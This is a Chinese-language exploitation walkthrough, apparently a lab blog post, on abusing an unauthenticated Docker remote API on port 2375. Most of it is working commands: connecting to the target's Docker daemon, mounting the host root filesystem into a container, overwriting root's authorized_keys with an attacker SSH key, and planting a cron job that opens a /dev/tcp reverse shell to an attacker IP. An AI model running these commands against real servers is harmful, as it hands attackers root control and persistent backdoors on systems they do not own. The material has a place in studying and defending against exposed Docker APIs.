一、Docker简介

Docker是一个开源的引擎，可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

二、Docker未授权访问漏洞原理

如果在docker上配置了远程访问，docker节点上会开放一个TCP端口2375，绑定在0.0.0.0上，如果没有做限制访问来源的话，攻击者就可以通过Docker未授权来控制服务器。

三、漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个APl，可能导致敏感信息泄露，也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性，直接访问宿主机上的敏感信息，或对敏感文件进行修改，最终完全控制服务器。

四、漏洞环境搭建

Docker未授权访问漏洞详解_docker api未授权访问漏洞-CSDN博客

五、漏洞验证

使用nmap进行扫描，发现开放2375端口

访问 http://your-ip:2375/version ；若能访问，证明存在未授权访问漏洞

六、docker链接目标机器

通过docker client使用-H参数连接目标主机的docker，
查询目标系统运行的所有容器

docker -H tcp://192.168.58.128 ps -a    

列出所有镜像

docker -H tcp://192.168.58.128 images

开启一个停止的容器

docker -H tcp://192.168.58.128 start 3dc8d67b679

连接一个已经启动的容器：四种方法

docker - H tcp://10.1.1.200 exec -it 3dc8d67b679 bash

docker - H tcp://10.1.1.200 attach 3dc8d67b679（**容器id**）

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像的id)  
//mnt为挂载点  ----entrypoint是入口

docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh    
//创建一个新的容器busybox容器，将宿主机的磁盘挂载到容器

七、漏洞利用

（1）写ssh公钥得到shell

1）启动一个容器，挂载宿主机的/mnt目录

docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764

2）生成一个ssh公钥

ssh-keygen -t rsa

3）查看生成的公钥

4）将公钥写到目标/root/.ssh/authorized_keys文件中

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6mirMCpF51nFL/jtqYPGar7SiEOWa+IFI4Gm3PcCkwd9mll7/Cxz6Sxf3IjtNqC0QvauIguTsQKrV5EI9tWcEAnho2VJHu+mYqjHO4+P/eBPl1B5LSt3bty7CIpp7D3UXC+oyaRu806U6VnVGeU/NzZq91mS/nv5vDSuOuF+TSqXF+b0KmS16nKAR0NrWh+pUOVBNx+0VZi5is+U0Nb2/Pa4g7pWecgIgh/hd2URj5+Kj5JH86DnIDvn922U8wu5D3EpZLwUyAEneLAG3rlRNrNkNyrVuQB0a2qmwK8FWgG36i+bg1UwYbvniBJboDPoRXpEiA98SRlkyZjMNh6tUAtKry90yX+zzRFiwQFiCzFX7HAoF0zdeKVpCc5KXgyZJV5P6+A8mH8tF3eXMz0odmXPVjN74e32ldm0t8aybXVRJfyI00PF/u9hXAGIMp3X1XIBSGnPTRce2sZt1eL0Sc4UQj89tgfzTsTBmiJg0LWD1RKtmliMa/3ly9EfesfE= root@kali"> /mnt/root/.ssh/authorized_keys

>这个代表的意思为覆盖 所以在最后一句加入的意思是讲公钥内容覆盖到/mnt/root/.ssh/authorized_keys中

5）ssh进行连接

ssh root@192.168.58.128 -i id_rsa

（2）写定时任务获取shell

1）启动容器挂载到宿主机

docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764

注意：使用的是镜像id

2）kali开启监听

nc -lvvp 1212

3）写入定时反弹shell

echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"' > /mnt/var/spool/cron/crontabs/root

用户配置文件：

/var/spool/cron/crontabs/root

*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"

全局配置文件：

/etc/crontab

*/1 * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"

4）查看定时任务

cat /mnt/var/spool/cron/crontabs/root

5）获得目标shell